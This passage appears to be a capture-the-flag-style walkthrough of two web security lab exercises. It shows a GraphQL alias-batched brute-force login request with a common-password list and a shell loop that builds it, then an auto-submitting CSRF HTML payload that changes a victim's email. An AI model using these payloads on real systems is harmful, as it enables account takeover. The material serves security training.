token\n success\n }\n result_princess: login(input: $input_princess) {\n token\n success\n }\n result_joshua: login(input: $input_joshua) {\n token\n success\n }\n result_cheese: login(input: $input_cheese) {\n token\n success\n }\n result_amanda: login(input: $input_amanda) {\n token\n success\n }\n result_summer: login(input: $input_summer) {\n token\n success\n }\n result_love: login(input: $input_love) {\n token\n success\n }\n result_ashley: login(input: $input_ashley) {\n token\n success\n }\n result_nicole: login(input: $input_nicole) {\n token\n success\n }\n result_chelsea: login(input: $input_chelsea) {\n token\n success\n }\n result_biteme: login(input: $input_biteme) {\n token\n success\n }\n result_matthew: login(input: $input_matthew) {\n token\n success\n }\n result_access: login(input: $input_access) {\n token\n success\n }\n result_yankees: login(input: $input_yankees) {\n token\n success\n }\n result_987654321: login(input: $input_987654321) {\n token\n success\n }\n result_dallas: login(input: $input_dallas) {\n token\n success\n }\n result_austin: login(input: $input_austin) {\n token\n success\n }\n result_thunder: login(input: $input_thunder) {\n token\n success\n }\n result_taylor: login(input: $input_taylor) {\n token\n success\n }\n result_matrix: login(input: $input_matrix) {\n token\n success\n }\n result_mobilemail: login(input: $input_mobilemail) {\n token\n success\n }\n result_mom: login(input: $input_mom) {\n token\n success\n }\n result_monitor: login(input: $input_monitor) {\n token\n success\n }\n result_monitoring: login(input: $input_monitoring) {\n token\n success\n }\n result_montana: login(input: $input_montana) {\n token\n success\n }\n result_moon: login(input: $input_moon) {\n token\n success\n }\n result_moscow: login(input: $input_moscow) {\n token\n success\n }\n    }","operationName":"login","variables":{"input_123456":{"username":"carlos","password":"123456"},"input_password":{"username":"carlos","password":"password"},"input_12345678":{"username":"carlos","password":"12345678"},"input_qwerty":{"username":"carlos","password":"qwerty"},"input_123456789":{"username":"carlos","password":"123456789"},"input_12345":{"username":"carlos","password":"12345"},"input_1234":{"username":"carlos","password":"1234"},"input_111111":{"username":"carlos","password":"111111"},"input_1234567":{"username":"carlos","password":"1234567"},"input_dragon":{"username":"carlos","password":"dragon"},"input_123123":{"username":"carlos","password":"123123"},"input_baseball":{"username":"carlos","password":"baseball"},"input_abc123":{"username":"carlos","password":"abc123"},"input_football":{"username":"carlos","password":"football"},"input_monkey":{"username":"carlos","password":"monkey"},"input_letmein":{"username":"carlos","password":"letmein"},"input_shadow":{"username":"carlos","password":"shadow"},"input_master":{"username":"carlos","password":"master"},"input_666666":{"username":"carlos","password":"666666"},"input_qwertyuiop":{"username":"carlos","password":"qwertyuiop"},"input_123321":{"username":"carlos","password":"123321"},"input_mustang":{"username":"carlos","password":"mustang"},"input_1234567890":{"username":"carlos","password":"1234567890"},"input_michael":{"username":"carlos","password":"michael"},"input_654321":{"username":"carlos","password":"654321"},"input_superman":{"username":"carlos","password":"superman"},"input_1qaz2wsx":{"username":"carlos","password":"1qaz2wsx"},"input_7777777":{"username":"carlos","password":"7777777"},"input_121212":{"username":"carlos","password":"121212"},"input_000000":{"username":"carlos","password":"000000"},"input_qazwsx":{"username":"carlos","password":"qazwsx"},"input_123qwe":{"username":"carlos","password":"123qwe"},"input_killer":{"username":"carlos","password":"killer"},"input_trustno1":{"username":"carlos","password":"trustno1"},"input_jordan":{"username":"carlos","password":"jordan"},"input_jennifer":{"username":"carlos","password":"jennifer"},"input_zxcvbnm":{"username":"carlos","password":"zxcvbnm"},"input_asdfgh":{"username":"carlos","password":"asdfgh"},"input_hunter":{"username":"carlos","password":"hunter"},"input_buster":{"username":"carlos","password":"buster"},"input_soccer":{"username":"carlos","password":"soccer"},"input_harley":{"username":"carlos","password":"harley"},"input_batman":{"username":"carlos","password":"batman"},"input_andrew":{"username":"carlos","password":"andrew"},"input_tigger":{"username":"carlos","password":"tigger"},"input_sunshine":{"username":"carlos","password":"sunshine"},"input_iloveyou":{"username":"carlos","password":"iloveyou"},"input_2000":{"username":"carlos","password":"2000"},"input_charlie":{"username":"carlos","password":"charlie"},"input_robert":{"username":"carlos","password":"robert"},"input_thomas":{"username":"carlos","password":"thomas"},"input_hockey":{"username":"carlos","password":"hockey"},"input_ranger":{"username":"carlos","password":"ranger"},"input_daniel":{"username":"carlos","password":"daniel"},"input_starwars":{"username":"carlos","password":"starwars"},"input_klaster":{"username":"carlos","password":"klaster"},"input_112233":{"username":"carlos","password":"112233"},"input_george":{"username":"carlos","password":"george"},"input_computer":{"username":"carlos","password":"computer"},"input_michelle":{"username":"carlos","password":"michelle"},"input_jessica":{"username":"carlos","password":"jessica"},"input_pepper":{"username":"carlos","password":"pepper"},"input_1111":{"username":"carlos","password":"1111"},"input_zxcvbn":{"username":"carlos","password":"zxcvbn"},"input_555555":{"username":"carlos","password":"555555"},"input_11111111":{"username":"carlos","password":"11111111"},"input_131313":{"username":"carlos","password":"131313"},"input_freedom":{"username":"carlos","password":"freedom"},"input_777777":{"username":"carlos","password":"777777"},"input_pass":{"username":"carlos","password":"pass"},"input_maggie":{"username":"carlos","password":"maggie"},"input_159753":{"username":"carlos","password":"159753"},"input_aaaaaa":{"username":"carlos","password":"aaaaaa"},"input_ginger":{"username":"carlos","password":"ginger"},"input_princess":{"username":"carlos","password":"princess"},"input_joshua":{"username":"carlos","password":"joshua"},"input_cheese":{"username":"carlos","password":"cheese"},"input_amanda":{"username":"carlos","password":"amanda"},"input_summer":{"username":"carlos","password":"summer"},"input_love":{"username":"carlos","password":"love"},"input_ashley":{"username":"carlos","password":"ashley"},"input_nicole":{"username":"carlos","password":"nicole"},"input_chelsea":{"username":"carlos","password":"chelsea"},"input_biteme":{"username":"carlos","password":"biteme"},"input_matthew":{"username":"carlos","password":"matthew"},"input_access":{"username":"carlos","password":"access"},"input_yankees":{"username":"carlos","password":"yankees"},"input_987654321":{"username":"carlos","password":"987654321"},"input_dallas":{"username":"carlos","password":"dallas"},"input_austin":{"username":"carlos","password":"austin"},"input_thunder":{"username":"carlos","password":"thunder"},"input_taylor":{"username":"carlos","password":"taylor"},"input_matrix":{"username":"carlos","password":"matrix"},"input_mobilemail":{"username":"carlos","password":"mobilemail"},"input_mom":{"username":"carlos","password":"mom"},"input_monitor":{"username":"carlos","password":"monitor"},"input_monitoring":{"username":"carlos","password":"monitoring"},"input_montana":{"username":"carlos","password":"montana"},"input_moon":{"username":"carlos","password":"moon"},"input_moscow":{"username":"carlos","password":"moscow"}}}
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Set-Cookie: session=<token>; Secure; SameSite=None
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 10469

{
  "data": {
    "result_123456": {
      "token": "gRDKGLQJ08NduRXOfFgJ2QjdnZXXEBhy",
      "success": false
    },
[...]
    "result_hunter": {
      "token": "id5IZ1jG6eKlw2ttAuN9bXPa7EmPZLGR",
      "success": true
    },
[...]
    "result_moscow": {
      "token": "id5IZ1jG6eKlw2ttAuN9bXPa7EmPZLGR",
      "success": false
    }
  }
}

We find password “hunter”. Click on My account and log in with credentials “carlos/hunter” to solve the lab.

💡 There was a simplified solution. We can simplify the request and remove variables.

POST /graphql/v1 HTTP/1.1
Host: <LAB ID>.web-security-academy.net
[...]

{"query":"mutation {pass_test1:login(input:{password: \"test1\", username: \"carlos\"}) { token\n success }\n pass_test2:login(input:{password: \"test2\", username: \"carlos\"}) { token\n success }}"}
for pass in $(cat lab.txt); do echo 'pass_'$pass':login(input:{password: \"'$pass'\", username: \"carlos\"}) { token\n success }\n'; done
POST /graphql/v1 HTTP/1.1
Host: <LAB ID>.web-security-academy.net
[...]

{"query":"mutation {pass_123456:login(input:{password: \"123456\", username: \"carlos\"}) { token\n success }\npass_password:login(input:{password: \"password\", username: \"carlos\"}) { token\n success }\npass_12345678:login(input:{password: \"12345678\", username: \"carlos\"}) { token\n success }\npass_qwerty:login(input:{password: \"qwerty\", username: \"carlos\"}) { token\n success }\n
[...]
pass_hunter:login(input:{password: \"hunter\", username: \"carlos\"}) { token\n success }\npass_buster:login(input:{password: \"buster\", username: \"carlos\"}) { token\n success }\n
[...]
"}

Practitioner – Performing CSRF exploits over GraphQL

The user management functions for this lab are powered by a GraphQL endpoint. The endpoint accepts requests with a content-type of x-www-form-urlencoded and is therefore vulnerable to cross-site request forgery (CSRF) attacks. To solve the lab, craft some HTML that uses a CSRF attack to change the viewer’s email address, then upload it to your exploit server. You can log in to your own account using the following credentials: wiener:peter.

  • Click on My account and log in using credentials wiener:peter
  • Enter a new email address and click Update email.
POST /graphql/v1 HTTP/2
Host: <LAB ID>.web-security-academy.net
[...]
Accept: application/json
Content-Type: application/json
[...]

{"query":"\n    mutation changeEmail($input: ChangeEmailInput!) {\n        changeEmail(input: $input) {\n            email\n        }\n    }\n","operationName":"changeEmail","variables":{"input":{"email":"whatever@example.com"}}}
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 84

{
  "data": {
    "changeEmail": {
      "email": "whatever@example.com"
    }
  }
}

There is no CSRF token or mechanism to prevent the attack.

Simplify the query, remove variables

POST /graphql/v1 HTTP/2
Host: <LAB ID>.web-security-academy.net
[...]

{"query":"mutation {\n changeEmail(input:{email: \"whatever@example.com\"}) {\n email \n } \n }"}

Convert the request to x-www-form-urlencoded

POST /graphql/v1 HTTP/2
Host: <LAB ID>.web-security-academy.net
[...]
Content-Type: application/x-www-form-urlencoded
Content-Length: 79

query=mutation+{+changeEmail(input:{email:+"whatever@example.com"})+{+email+}+}
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 84

{
  "data": {
    "changeEmail": {
      "email": "whatever@example.com"
    }
  }
}

Execute a CSRF

Click on the Exploit server and enter this payload in the body. Click on Store.

<body onload='document.forms[0].submit()'>
<form action="https://<LAB ID>.web-security-academy.net/graphql/v1" method="POST">
<input type="hidden" name="query" value='mutation { changeEmail(input:{email: "csrf@example.com"}) { email } }' />
<input type=submit>
</form>
</body>

Click on Deliver exploit to victim to solve the lab.